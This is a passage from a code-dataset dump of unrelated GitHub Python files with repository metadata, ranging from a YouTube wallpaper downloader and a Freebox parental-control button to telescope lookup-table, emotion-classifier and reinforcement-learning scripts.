'/'.join(os.path.realpath(__file__).split('\\\\')[:-1])\n self.iconbitmap(os.path.join(path,'files/D20_2.ico'))\n except:\n pass\n \n self.pom = Pomodoros\n self.cnf = Config\n \n self._frame = Pomodoros(self)\n self._frame.pack(fill=NONE, expand=1)\n \n def switch_frames(self, frame):\n if self._frame is not None:\n self._frame.destroy()\n self._frame = frame(self)\n self._frame.pack(fill=NONE, expand=1)\n \nif __name__ == '__main__':\n p = Main()\n p.mainloop()","repo_name":"python-elidas/Utils","sub_path":"Pomodoros/main_window.pyw","file_name":"main_window.pyw","file_ext":"pyw","file_size_in_byte":887,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"12915944215","text":"from optparse import OptionParser\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport rswl_plot\nfrom fill_lookup import fill_lookup\n\nfrom digicampipe.utils.shower_geometry import impact_parameter\n\n\ndef entry():\n parser = OptionParser()\n parser.add_option(\n '-g',\n '--hillas',\n dest='hillas_gamma',\n help='path to a file with hillas parameters of gamma',\n default='../../../sst-1m_simulace/data_test/ryzen_testprod/0.0deg/Data/hillas_gamma_ze00_az000_p13_b07.npz')\n parser.add_option(\n '-m',\n '--mc',\n dest='mc_gamma',\n help='path to a file with shower MC parameters of gamma',\n default='../../../sst-1m_simulace/data_test/ryzen_testprod/0.0deg/Data/shower_param_gamma_ze00_az000.txt')\n parser.add_option(\n '-w',\n '--output_width',\n dest='output_width',\n help='path to an output RSW lookup table',\n default='../../../sst-1m_simulace/data_test/ryzen_testprod/0.0deg/Data/rsw-lookup-ze00-az000-offset00')\n parser.add_option(\n '-l',\n '--output_length',\n dest='output_length',\n help='path to an output RSL lookup table',\n default='../../../sst-1m_simulace/data_test/ryzen_testprod/0.0deg/Data/rsl-lookup-ze00-az000-offset00')\n (options, args) = parser.parse_args()\n\n hillas_gamma = np.load(options.hillas_gamma)\n mc_gamma = np.loadtxt(options.mc_gamma)\n\n min_size = 50\n\n # Masking border flagged events\n mask0_g = [x == 0 for x in hillas_gamma['border']]\n mask1_g = [x > min_size for x in hillas_gamma['size']]\n\n mask_g = np.logical_and(mask0_g, mask1_g)\n\n # Parameters from MC simulations\n mc_gamma = mc_gamma[mask_g, :]\n x_core_gamma = mc_gamma[:, 9]\n y_core_gamma = mc_gamma[:, 10]\n theta_gamma = mc_gamma[:, 4]\n phi_gamma = mc_gamma[:, 5]\n\n width_gamma = hillas_gamma['width'][mask_g]\n length_gamma = hillas_gamma['length'][mask_g]\n size_gamma = np.log10(hillas_gamma['size'][mask_g]) # log size\n\n # Impact parameter\n # not optimal, tel. coordinates should be loaded from somewhere..\n telpos = np.array([0., 0., 4.])\n impact_parameter_gamma = impact_parameter(x_core_gamma, y_core_gamma,\n telpos, theta_gamma, phi_gamma)\n\n # Binning in Impact parameter\n impact_bins_edges = np.linspace(0, 600, 30)\n\n # Binning in size\n size_bins_edges = np.linspace(1.5, 4.5, 30)\n\n # Filling lookup tables\n binned_rsw = fill_lookup(size_bins_edges, impact_bins_edges,\n impact_parameter_gamma, size_gamma,\n width_gamma)\n\n binned_rsl = fill_lookup(size_bins_edges, impact_bins_edges,\n impact_parameter_gamma, size_gamma,\n length_gamma)\n\n # Save the lookup tables\n np.savez(options.output_width,\n impact=binned_rsw['impact'],\n size=binned_rsw['size'],\n mean=binned_rsw['mean'],\n std=binned_rsw['std'],\n n_data=binned_rsw['n_data'])\n\n np.savez(options.output_length,\n impact=binned_rsl['impact'],\n size=binned_rsl['size'],\n mean=binned_rsl['mean'],\n std=binned_rsl['std'],\n n_data=binned_rsl['n_data'])\n\n print('Lookup tables generated and saved..')\n\n # Plotting lookup tables\n rswl_plot.rswl_lookup2d(binned_rsw, z_axis_title='width')\n rswl_plot.rswl_lookup2d(binned_rsl, z_axis_title='length')\n plt.show()\n\n\nif __name__ == '__main__':\n entry()\n","repo_name":"cta-sst-1m/digicampipe","sub_path":"digicampipe/scripts/rswl_generate_lookup.py","file_name":"rswl_generate_lookup.py","file_ext":"py","file_size_in_byte":3575,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"31"} +{"seq_id":"1216846299","text":"\"\"\"Created by: Baccount\"\"\"\nimport os\nimport re # regex\nfrom time import sleep\n\nimport youtube_dl\n\nfrom tools import blue, clear_screen, green, red\n\nTEMP_PATH = os.path.expanduser(\"~\") + \"/Library/Caches/Y0utube\"\nFINAL_PATH = (\n os.path.expanduser(\"~\")\n + \"/Library/Containers/whbalzac.Dongtaizhuomian/Data/Documents/Videos\"\n)\n\n\ndef create_temp_folder():\n \"\"\"\n Create a temporary folder at the given path to save the videos\n \"\"\"\n if not os.path.exists(TEMP_PATH):\n os.makedirs(TEMP_PATH)\n\n\ndef move_video() -> bool:\n \"\"\"\n Move the video from the temporary folder to the final folder\n \"\"\"\n try:\n for file in os.listdir(TEMP_PATH):\n os.rename(TEMP_PATH + \"/\" + file, FINAL_PATH + \"/\" + file)\n print(green(\"Video installed successfully\"))\n # for testing purposes\n return True\n except Exception as e:\n print(red(\"Error: Video not installed\\n\" + str(e)))\n # for testing purposes\n return False\n\n\ndef delete_temp_folder():\n \"\"\"\n Delete the temporary folder \"Forcefully\"\n \"\"\"\n if os.path.exists(TEMP_PATH):\n os.system(\"rm -rf \" + TEMP_PATH)\n\n\ndef check_url(url: str) -> bool:\n \"\"\"\n It takes a string as an argument, checks if it's a valid youtube url, and returns the url if it is,\n or None if it isn't\n\n :param url: The URL of the video to be downloaded\n :type url: str\n :return: The match object or None\n \"\"\"\n regex = r\"^(https?\\:\\/\\/)?(www\\.youtube\\.com|youtu\\.be)\\/.+$\"\n\n match = re.match(regex, url)\n if match:\n return match.group()\n else:\n # for testing purposes\n return False\n\n\ndef download_video(url: str, terminal: bool = False, playlist: bool = False) -> bool:\n \"\"\"\n Download playlist from youtube using youtube-dl\n\n :param url: the url of the playlist\n :type url: str\n :param terminal: If the user is using the command lines Do Not show UI, just quit\n :type terminal: bool\n :param playlist: If the user is downloading a playlist\n :type playlist: bool\n \"\"\"\n if not check_url(url):\n print(\"Invalid URL\")\n # for testing purposes\n return False\n # download playlist from youtube using youtube-dl\n ydl_opts = {\n # hight quality video\n \"format\": \"bestvideo[ext=mp4]+bestaudio[ext=m4a]/bestvideo+bestaudio\",\n # save location of the video\n \"outtmpl\": TEMP_PATH + \"/\" + \"%(title)s\",\n \"yes-playlist\": True if playlist else False,\n }\n try:\n print(blue(\"Press Ctrl+C to cancel\"))\n youtube_dl.YoutubeDL(ydl_opts).extract_info(url)\n print(green(\"Playlist downloaded successfully\"))\n move_video()\n sleep(1)\n # for testing purposes\n return True\n except Exception as e:\n print(red(\"Error: Playlist not downloaded\\n\" + str(e)))\n delete_temp_folder()\n if terminal is True:\n exit(0)\n # for testing purposes\n return False\n # close program if the user is using the command line\n if terminal is True:\n exit(0)\n\n\ndef keyboard_interrupt():\n \"\"\"\n Catch keyboard interrupt control + c\n \"\"\"\n clear_screen()\n print(red(\"Clearing temporary files\"))\n delete_temp_folder()\n exit(0)\n","repo_name":"Baccount/Y0utube_Wallpaper","sub_path":"functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":3256,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"15953260784","text":"#!/usr/bin/env python\n\"\"\"\nSome classes describing structures to operate with map structure (already parsed from an xodr)\n\"\"\"\n\nimport math \nfrom turtle import right\nimport numpy as np\nfrom scipy.spatial import KDTree\n\nclass T4ac_Location:\n def __init__(self, x=\"\", y=\"\", z=\"\"):\n self.x = x\n self.y = y\n self.z = z\n\nclass T4ac_Rotation:\n def __init__(self, pitch=\"\", yaw=\"\", roll=\"\"):\n self.pitch = pitch\n self.yaw = yaw\n self.roll = roll\n\nclass T4ac_Transform:\n def __init__(self, location=T4ac_Location(\"\", \"\", \"\"), \n rotation=T4ac_Rotation(\"\", \"\", \"\")):\n self.location = T4ac_Location(location.x, location.y, location.z)\n self.rotation = T4ac_Rotation(rotation.pitch, rotation.yaw, rotation.roll)\n\n def calcula(self, a):\n return a*a\n\nclass T4ac_Waypoint:\n \"\"\"\n For initializing a waypoint in a specific position, the location\n parameter must be passed in T4ac_Location format. If not, other option\n is not passing any parameter an set the parameters after initializing the\n T4ac_Waypoint object.\n \"\"\"\n def __init__(self, location=T4ac_Location(\"\", \"\", \"\"), \n rotation=T4ac_Rotation(\"\", \"\", \"\")):\n self.id = \"\"\n self.transform = T4ac_Transform(location, rotation)\n self.road_id = \"\"\n self.lane_id = \"\"\n self.junction = \"\"\n self.s = \"\"\n self.lane_width = \"\"\n self.lane_change = \"\" #can be none, right, left or both\n self.lane_type = \"\"\n self.right_lane_marking = \"\"\n self.left_lane_marking = \"\"\n self.vmax = 0\n self.vunit = \"\"\n self.nLanes = 0 # Number of lanes in same direction\n self.lanePosition = 0 # Position of the current lane,\n # starting from 1 to the right\n\n def get_closer_wp(self, waypoint_list):\n \"\"\"\n Return closer wp given a wp list\n It can be usefull to get road and lane info of the self waypoint\n \"\"\"\n closer_distance = 10000 # High arbitrary value\n for wp in waypoint_list:\n distance = math.sqrt((wp.transform.location.x-self.transform.location.x)**2 + \n (wp.transform.location.y-self.transform.location.y)**2 +\n (wp.transform.location.z-self.transform.location.z)**2)\n if distance < closer_distance:\n closer_distance = distance\n closer_wp = wp\n return closer_wp\n\n def get_closer_right_wp(self, waypoint_list, kdtree):\n \"\"\"\n Calculates closer right waypoint only considering it it is in a \n different road or lane\n\n Args:\n self\n waypoint_list: (list)\n kdtree: (scipy.spatial.kdtree.KDTree)\n\n Returns:\n closer_right_wp\n \"\"\"\n k = -1\n if self.lane_id < 0: k = 1\n\n alpha_radians = math.radians(self.transform.rotation.yaw)\n x = self.transform.location.x + math.cos(alpha_radians)*self.lane_width*(-k)\n y = self.transform.location.y - math.sin(alpha_radians)*self.lane_width*k\n z = self.transform.location.z\n\n current_location_array = np.array((x, y, z))\n closer_dist, closer_point = kdtree.query(\n current_location_array, 1)\n right_waypoint = waypoint_list[closer_point.numerator]\n return right_waypoint\n\n def get_closer_left_wp(self, waypoint_list, kdtree):\n \"\"\"\n Calculates closer left waypoint only considering it it is in a \n different road or lane\n\n Args:\n self\n waypoint_list: (list)\n kdtree: (scipy.spatial.kdtree.KDTree)\n\n Returns:\n closer_left_wp\n \"\"\"\n k = -1\n if self.lane_id < 0: k = 1\n\n alpha_radians = math.radians(self.transform.rotation.yaw)\n x = self.transform.location.x - math.cos(alpha_radians)*self.lane_width*(-k)\n y = self.transform.location.y + math.sin(alpha_radians)*self.lane_width*k\n z = self.transform.location.z\n\n current_location_array = np.array((x, y, z))\n closer_dist, closer_point = kdtree.query(\n current_location_array, 1)\n left_waypoint = waypoint_list[closer_point.numerator]\n return left_waypoint\n\n \n def distance(self, waypoint):\n \"\"\"\n Calculate distance from current waypoint to other waypoint\n\n Args:\n waypoint: Goal waypoint to compute distance from current\n\n Returns:\n distance: (float) euclidean distance\n \"\"\"\n distance = math.sqrt(\n (waypoint.transform.location.x-self.transform.location.x)**2 + \n (waypoint.transform.location.y-self.transform.location.y)**2)\n\n return distance\n\n def get_lanePosition(self, lane_id, road):\n \"\"\"\n Returns the number of lanes in the current road with same direction\n and the position of the current lane, starting to count from 1 from \n the right to the left\n\n Args:\n lane_id: (int) Id of the current lane\n road: (T4ac_Road) Road containing the current lane\n\n Returns:\n nLanes: (int) Number of lanes\n lanePosition: (int) Position of the current lane\n \"\"\"\n\n nLanes = 0\n lanePosition = 0\n\n if lane_id < 0:\n for lane in road.lanes.laneSections[0].right:\n if lane.type == \"driving\":\n nLanes += 1\n if lane.id == lane_id:\n lanePosition = nLanes\n elif lane_id > 0:\n for lane in road.lanes.laneSections[0].left:\n if lane.type == \"driving\":\n nLanes += 1\n if lane.id == lane_id:\n lanePosition = nLanes\n\n return nLanes, lanePosition\n","repo_name":"AlejandroDiazD/opendrive-mapping-planning","sub_path":"mapping_layer/map_parser/builder_classes.py","file_name":"builder_classes.py","file_ext":"py","file_size_in_byte":5892,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"31"} +{"seq_id":"42925401288","text":"import numpy as np\nimport sys\nimport torch\n\nfrom tqdm import tqdm\n\nfrom torch.utils.data import TensorDataset, DataLoader, RandomSampler, SequentialSampler\nfrom transformers import AdamW, BertForSequenceClassification, BertTokenizer\n\ntokenizer = BertTokenizer.from_pretrained(\n 'bert-base-cased', truncation_side='right')\n\nmax_length = 512\n\n# Old dictionaries\n# emotion_to_idx = {'surprised': 0, 'excited': 1, 'annoyed': 2, 'proud': 3, 'angry': 4, 'sad': 5, 'grateful': 6, 'lonely': 7, 'impressed': 8, 'afraid': 9, 'disgusted': 10, 'confident': 11, 'terrified': 12, 'hopeful': 13, 'anxious': 14, 'disappointed': 15,\n# 'joyful': 16, 'prepared': 17, 'guilty': 18, 'furious': 19, 'nostalgic': 20, 'jealous': 21, 'anticipating': 22, 'embarrassed': 23, 'content': 24, 'devastated': 25, 'sentimental': 26, 'caring': 27, 'trusting': 28, 'ashamed': 29, 'apprehensive': 30, 'faithful': 31}\n# idx_to_emotion = {0: 'surprised', 1: 'excited', 2: 'annoyed', 3: 'proud', 4: 'angry', 5: 'sad', 6: 'grateful',\n# 7: 'lonely', 8: 'impressed', 9: 'afraid', 10: 'disgusted', 11: 'confident', 12: 'terrified',\n# 13: 'hopeful', 14: 'anxious', 15: 'disappointed', 16: 'joyful', 17: 'prepared', 18: 'guilty',\n# 19: 'furious', 20: 'nostalgic', 21: 'jealous', 22: 'anticipating', 23: 'embarrassed',\n# 24: 'content', 25: 'devastated', 26: 'sentimental', 27: 'caring', 28: 'trusting',\n# 29: 'ashamed', 30: 'apprehensive', 31: 'faithful'}\n\n# Modified dictionaries\nemotion_to_idx = {'lonely': 0, 'guilty': 1, 'embarrassed': 1, 'ashamed': 1, 'jealous': 2, 'grateful': 3, 'content': 3, 'surprised': 4, 'caring': 5, 'disappointed': 6, 'disgusted': 6, 'angry': 7, 'annoyed': 7, 'furious': 7, 'prepared': 8, 'anticipating': 8,\n 'apprehensive': 8, 'hopeful': 9, 'confident': 9, 'sad': 10, 'devastated': 10, 'trusting': 11, 'faithful': 11, 'proud': 12, 'impressed': 12, 'excited': 13, 'joyful': 13, 'sentimental': 14, 'nostalgic': 14, 'afraid': 15, 'terrified': 15, 'anxious': 15}\nidx_to_emotion = {0: 'lonely', 1: 'guilty/embarrassed/ashamed', 2: 'jealous', 3: 'grateful/content', 4: 'surprised', 5: 'caring', 6: 'disappointed/disgusted', 7: 'angry/annoyed/furious',\n 8: 'prepared/anticipating/apprehensive', 9: 'hopeful/confident', 10: 'sad/devastated', 11: 'trusting/faithful', 12: 'proud/impressed', 13: 'excited/joyful', 14: 'sentimental/nostalgic', 15: 'afraid/terrified/anxious'}\nmod_emotion_to_idx = {'lonely': 0, 'guilty/embarrassed/ashamed': 1, 'jealous': 2, 'grateful/content': 3, 'surprised': 4, 'caring': 5, 'disappointed/disgusted': 6, 'angry/annoyed/furious': 7,\n 'prepared/anticipating/apprehensive': 8, 'hopeful/confident': 9, 'sad/devastated': 10, 'trusting/faithful': 11, 'proud/impressed': 12, 'excited/joyful': 13, 'sentimental/nostalgic': 14, 'afraid/terrified/anxious': 15}\n\nmodel = BertForSequenceClassification.from_pretrained(\"model\")\n\nif torch.cuda.is_available():\n model.cuda()\n device = torch.device(\"cuda\")\nelse:\n device = torch.device(\"cpu\")\n\nfor dataset in [\"dev\", \"test\", \"train\"]:\n input_data = np.load(\"sys_dialog_texts.{}.npy\".format(\n dataset), allow_pickle=True)\n tokenized_context = []\n tokenized_masks = []\n for c in tqdm(input_data):\n tokens = tokenizer(\" \".join(c),\n padding='max_length', max_length=max_length,\n truncation=True, return_tensors='pt')\n tokenized_context.append(tokens['input_ids'])\n tokenized_masks.append(tokens['attention_mask'])\n\n tokens = torch.stack(tokenized_context).squeeze()\n masks = torch.stack(tokenized_masks).squeeze()\n\n data = TensorDataset(tokens, masks)\n dataloader = DataLoader(data, batch_size=10)\n\n outputs = []\n\n for batch in tqdm(dataloader):\n output = model(batch[0].to(device),\n token_type_ids=None, attention_mask=batch[1].to(device))\n\n logits = output[0].detach().cpu().numpy()\n outputs.append(np.vectorize(idx_to_emotion.get)\n (np.argmax(logits, axis=1)))\n\n np.save(\"sys_emotioncls_texts.{}.npy\".format(\n dataset), np.concatenate(outputs))\n","repo_name":"navjot12/improving_empathetic_nlg","sub_path":"ed_classifier/predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":4247,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"31"} +{"seq_id":"71981585688","text":"import time\nimport subprocess\nfrom sys import argv\n\ndef countdown():\n\ttry:\n\t\tprint(f'Countdown Set for {argv[1]}')\n\t\ttimeLeft = int(argv[1])\n\t\twhile timeLeft > 0:\n\t\t\ttime.sleep(1)\n\t\t\ttimeLeft -= 1\n\t\tprint('time\\'s up')\n\t\tsubprocess.Popen(['see', 'alarm.wav'])\n\texcept IndexError:\n\t\tprint(usage)\n\nif __name__ == '__main__':\n\tusage = 'python3 countdown.py '\n\tcountdown()\n","repo_name":"AlvinAbiliuse/AutomateTheBoringStuffWithPythonPracticeProjects","sub_path":"Chapter 15/simpleCountdown/countdown.py","file_name":"countdown.py","file_ext":"py","file_size_in_byte":378,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"40878408217","text":"import xml.sax\n\nclass WikiData(xml.sax.ContentHandler):\n def __init__(self):\n self.CurrentData = \"\"\n self.title = \"\"\n self.ns = \"\"\n self.id = \"\"\n #self.revision.id = \"\"\n #self.revision.parent.id = \"\"\n\n def startElement(self,tag,attributes):\n self.CurrentData = tag\n if tag == \"page\":\n title = attributes[\"page\"]\n print (\"Title:\",title)\n\n def endElement(self,tag):\n if self.CurrentData == \"ns\":\n print(\"NS:\",self.ns)\n elif self.CurrentData == \"id\":\n print(\"ID:\",self.id)\n #elif self.CurrentData == \"revision\":\n #print(\"Rev ID:\",self.revision.id)\n\n def characters(self,tag):\n if self.CurrentData == \"title\":\n self.title = content\n elif self.CurrentData == \"ns\":\n self.ns = content\n #elif self.CurrentData == \"revision\":\n #self.revision.id = content\n\nif __name__ == \"__main__\":\n\n parser = xml.sax.make_parser()\n parser.setFeature(xml.sax.handler.feature_namespaces, 0)\n # override the default ContextHandler\n Handler = WikiData()\n parser.setContentHandler( Handler )\n parser.parse(\"file1.xml\")\n","repo_name":"vivekpatani/wiki-dataset","sub_path":"Cleaner/data_format.py","file_name":"data_format.py","file_ext":"py","file_size_in_byte":1207,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"19183453139","text":"import network\nimport utime \nimport urequests\nimport sys\nimport hmac_sha1\nimport machine\nimport neopixel\nimport ujson\n\nreboot = machine.reset\n\nSSID=\"-----------------------------------------\"\nPASSWORD=\"------------------------------------------\"\n\ndef is_button_enabled():\n try:\n f = ujson.loads(open(\"psn_config.json\", \"r\").read().replace(\"\\n\",\"\"))\n return f[\"btn_enabled\"]\n except OSError:\n open(\"psn_config.json\", \"w+\").write(ujson.dumps({\"btn_enabled\":True}))\n return True\n \ndef enable_button():\n open(\"psn_config.json\", \"w+\").write(ujson.dumps({\"btn_enabled\":True}))\ndef disable_button():\n open(\"psn_config.json\", \"w+\").write(ujson.dumps({\"btn_enabled\":False}))\n\ndef _hmac_sha1(inp,key):\n return hmac_sha1.compute(bytes(inp, 'UTF-8'), bytes(key, 'UTF-8)'))\n\nclass API(object):\n def __init__(self, base_url, app_token):\n super(API, self).__init__()\n self.base_url = base_url\n self.app = {\n \"app_id\": \"fr.thestaticturtle.stopnowswitch\",\n \"app_name\": \"Please Stop Now\",\n \"app_version\": \"0.0.1\",\n \"device_name\": \"uPython client\"\n }\n self.app_token = app_token\n self.session_info = {}\n\n def login(self):\n challenge = urequests.get(self.base_url+\"/login\").json()[\"result\"][\"challenge\"]\n self.session_info = urequests.post(self.base_url+\"/login/session\",json={\n \"app_id\": self.app[\"app_id\"],\n \"password\": _hmac_sha1(self.app_token, challenge)\n }).json()\n return self.session_info[\"success\"]\n \n def check_perm(self, perm):\n return \"permissions\" in self.session_info[\"result\"] and perm in self.session_info[\"result\"][\"permissions\"] and self.session_info[\"result\"][\"permissions\"][perm]\n \n def parental_get_profile_id_by_name(self, name):\n profiles = urequests.get(self.base_url+\"/profile\",headers={\"X-Fbx-App-Auth\":self.session_info[\"result\"][\"session_token\"]}).json()[\"result\"]\n try:\n profiles = [ p for p in profiles if p[\"name\"] == name]\n except Exception as e:\n return -1\n if len(profiles) != 1:\n return -1\n return profiles[0][\"id\"]\n\n def parental_check_profile_denied(self, profile_name):\n profile_id = self.parental_get_profile_id_by_name(profile_name)\n data = urequests.get(self.base_url+\"/network_control/\"+str(profile_id),headers={\"X-Fbx-App-Auth\":self.session_info[\"result\"][\"session_token\"]}).json()\n return data[\"result\"][\"current_mode\"] == \"denied\"\n\n def parental_set_profile_force_denied(self, profile_name, is_denied, toggle=False):\n profile_id = self.parental_get_profile_id_by_name(profile_name)\n data = urequests.get(self.base_url+\"/network_control/\"+str(profile_id),headers={\"X-Fbx-App-Auth\":self.session_info[\"result\"][\"session_token\"]}).json()[\"result\"]\n data[\"override\"] = (not data[\"override\"]) if toggle else is_denied\n data[\"override_mode\"] = \"denied\"\n result = urequests.put(\n self.base_url+\"/network_control/\"+str(profile_id),\n headers={\"X-Fbx-App-Auth\":self.session_info[\"result\"][\"session_token\"]},\n json= data\n ).json()\n\nANNIMATION_WIFI = \"wifi\"\nANNIMATION_API = \"api\"\nANNIMATION_ERROR = \"err\"\nANNIMATION_NET_ALLOWED = \"na\"\nANNIMATION_NET_BLOCKED = \"nb\"\nANNIMATION_BUTTON_EN = \"en\"\nANNIMATION_BUTTON_DISABLED = \"dis\"\nclass Animator(object):\n \"\"\"docstring for Animator\"\"\"\n def __init__(self, neo, count):\n super(Animator, self).__init__()\n self.neo = neo\n self.count = count\n self.current_annimation = \"\"\n self.annimation = 50\n self.step = 1\n \n def annimation_wifi(self):\n self.annimation += self.step\n if(self.annimation > 20 or self.annimation < 2):\n self.step *= -1\n self.neo.fill( (25,25,self.annimation) )\n self.neo.write()\n \n def set_annimation(self, a):\n if(self.current_annimation != a):\n self.current_annimation = a\n if(self.current_annimation == ANNIMATION_ERROR):\n self.neo.fill( (255,0,0 ))\n elif(self.current_annimation == ANNIMATION_WIFI):\n pass\n elif(self.current_annimation == ANNIMATION_API):\n self.neo.fill( (5,0,5) )\n elif(self.current_annimation == ANNIMATION_NET_ALLOWED):\n self.neo.fill( (2,15,2) )\n elif(self.current_annimation == ANNIMATION_NET_BLOCKED):\n self.neo.fill( (15,7,0) )\n elif(self.current_annimation == ANNIMATION_BUTTON_EN):\n self.neo.fill( (5,5,5) )\n elif(self.current_annimation == ANNIMATION_BUTTON_DISABLED):\n self.neo.fill( (10,0,0) )\n \n def run(self):\n if(self.current_annimation == ANNIMATION_WIFI):\n self.annimation_wifi()\n self.neo.write()\n\nprint(\"Welcome to PleaseStopNow button\")\nprint(\"Initialization\")\nnp = neopixel.NeoPixel(machine.Pin(12), 10)\nannims = Animator(np, 10)\n\nsys.stdout.write(\"Connecting to wifi: \")\nwlan=network.WLAN(network.STA_IF)\nwlan.active(True)\nwlan.disconnect()\nwlan.connect(SSID, PASSWORD)\n\nannims.set_annimation(ANNIMATION_WIFI)\n\nt = utime.time()\nwhile(wlan.ifconfig()[0]=='0.0.0.0'):\n annims.run()\n if(t + 60 < utime.time()):\n print(\"Failed to connect to the wifi\")\n annims.set_annimation(ANNIMATION_ERROR)\n annims.run()\n sys.exit(0)\nprint(\"Connected to \"+SSID+\" (IP is \"+str(wlan.ifconfig()[0])+\")\")\n\nsys.stdout.write(\"Connecting to the freebox api: \")\nannims.set_annimation(ANNIMATION_API)\napi = API(\"http://192.168.1.254/api/v8\",\"---------------------------------------------------\")\nif not api.login():\n annims.set_annimation(ANNIMATION_ERROR)\n annims.run()\n print(\"Failed login into the api\")\n sys.exit(0)\nprint(\"Successfully logged inb(Session token is:\"+api.session_info[\"result\"][\"session_token\"]+\")\")\n\nsys.stdout.write(\"Checking api permissions: \")\nif not api.check_perm(\"parental\"):\n annims.set_annimation(ANNIMATION_ERROR)\n annims.run()\n print(\"Missing parental control permission. Go into the control panel to add it. Exiting now\")\n sys.exit(0)\nprint(\"All good\")\n\npin = machine.Pin(14, machine.Pin.IN, machine.Pin.PULL_UP)\n\nold_value = pin.value()\nt = utime.time()\nwhile True:\n annims.run()\n\n value = pin.value()\n if old_value != value:\n old_value = value\n if value == 0:\n if is_button_enabled():\n print(\"Button pressed, switching\")\n annims.set_annimation(ANNIMATION_BUTTON_EN)\n annims.run()\n api.parental_set_profile_force_denied(\"test_samuel\",None,toggle=True)\n else:\n print(\"Button pressed but not enabled\")\n annims.set_annimation(ANNIMATION_BUTTON_DISABLED)\n annims.run()\n utime.sleep(0.100)\n \n if(t + 2 < utime.time()):\n sys.stdout.write(\"Checking status: \")\n t = utime.time()\n if(api.parental_check_profile_denied(\"test_samuel\")):\n annims.set_annimation(ANNIMATION_NET_BLOCKED)\n print(\"Internet denied\")\n else:\n annims.set_annimation(ANNIMATION_NET_ALLOWED)\n print(\"Internet allowed \")\n annims.run()\n ","repo_name":"TheStaticTurtle/StopNowButton","sub_path":"please_stop_now.py","file_name":"please_stop_now.py","file_ext":"py","file_size_in_byte":6766,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"11002372274","text":"\"\"\"\nauthor -Maruti Bhosale\ndate -11-11-2020\ntime -16:25\npackage -basic_core_programs\nStatement -find percentage of head and tail count\n\n\"\"\"\n\nimport random\n\n\ndef flipPercentage():\n headCount = 0\n tailCount = 0\n numberOfTimesFlips = int(input(\"How many times wants to flip coin: \"))\n if numberOfTimesFlips > 0:\n for flip in range(numberOfTimesFlips):\n rand = random.random()\n if float(rand) > 0.5:\n headCount += 1\n else:\n tailCount += 1\n headPercentage = (headCount / numberOfTimesFlips) * 100\n tailPercentage = (tailCount / numberOfTimesFlips) * 100\n print(\"Head Percentage is: \", headPercentage)\n print(\"Tail Percentage is: \", tailPercentage)\n else:\n print(\"number should be positive\")\n return\n\n\nif __name__ == \"__main__\":\n flipPercentage()\n","repo_name":"marutibhosale/python-devops","sub_path":"basic_core_programs/filp_coin.py","file_name":"filp_coin.py","file_ext":"py","file_size_in_byte":867,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"5451468595","text":"import matplotlib.pyplot as plt\nimport numpy as np\n\n'''def Exponencial(X):\n Y=2*np.exp(X)\n return Y\ndef GraficaExp(a,b):\n X=np.linspace(a,b,30)\n Y=Exponencial(X)\n plt.plot(X,Y)\n plt.show()\nGraficaExp(-10,10)'''\n\ndef LogaritmoNeperiano(X):\n Y=np.log(X)\n return Y\ndef Logaritmo10(X):\n Y=np.log10(X)\n return Y\ndef Graficar(a,b):\n X=np.linspace(a,b,30)\n Y=LogaritmoNeperiano(X)\n Z=Logaritmo10(X)\n plt.plot(X,Y,color='red')\n plt.plot(X,Z)\n plt.show()\nGraficar(1,10)","repo_name":"ivanveraj/Python","sub_path":"MachineLearningC/Matplotlib3.py","file_name":"Matplotlib3.py","file_ext":"py","file_size_in_byte":508,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"38012721546","text":"import os\nimport sys\n\nimport numpy as np\nimport torch as T\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport time\nimport src.my_utils as my_utils\nimport src.policies as policies\nimport random\nimport string\nimport socket\n\nclass Valuefun(nn.Module):\n def __init__(self, env):\n super(Valuefun, self).__init__()\n\n self.obs_dim = env.obs_dim\n\n self.fc1 = nn.Linear(self.obs_dim, 32)\n self.fc2 = nn.Linear(32, 32)\n self.fc3 = nn.Linear(32, 1)\n\n\n def forward(self, x):\n x = F.relu(self.fc1(x))\n x = F.relu(self.fc2(x))\n x = self.fc3(x)\n return x\n\n\ndef train(env, policy, params):\n\n ep_rewards = []\n\n policy_optim = T.optim.Adam(policy.parameters(), lr=params[\"policy_lr\"], weight_decay=params[\"weight_decay\"])\n\n batch_states = []\n batch_actions = []\n batch_rewards = []\n batch_new_states = []\n batch_terminals = []\n\n batch_ctr = 0\n batch_rew = 0\n\n for i in range(params[\"iters\"]):\n s_0 = env.reset()\n done = False\n\n step_ctr = 0\n ep_reward = 0\n\n while not done:\n # Sample action from policy\n action = policy.sample_action(my_utils.to_tensor(s_0, True)).detach()\n\n # Step action\n s_1, r, done, _ = env.step(action.squeeze(0).numpy())\n assert r < 10, print(\"Large rew {}, step: {}\".format(r, step_ctr))\n r = np.clip(r, -3, 3)\n step_ctr += 1\n\n batch_rew += r\n ep_reward += r\n\n if params[\"animate\"]:\n env.render()\n\n # Record transition\n batch_states.append(my_utils.to_tensor(s_0, True))\n batch_actions.append(action)\n batch_rewards.append(my_utils.to_tensor(np.asarray(r, dtype=np.float32), True))\n batch_new_states.append(my_utils.to_tensor(s_1, True))\n batch_terminals.append(done)\n\n s_0 = s_1\n\n # Just completed an episode\n batch_ctr += 1\n\n ep_rewards.append(ep_reward)\n\n # If enough data gathered, then perform update\n if batch_ctr == params[\"batchsize\"]:\n\n batch_states = T.cat(batch_states)\n batch_actions = T.cat(batch_actions)\n batch_rewards = T.cat(batch_rewards)\n\n # Calculate episode advantages\n batch_advantages = calc_advantages_MC(params[\"gamma\"], batch_rewards, 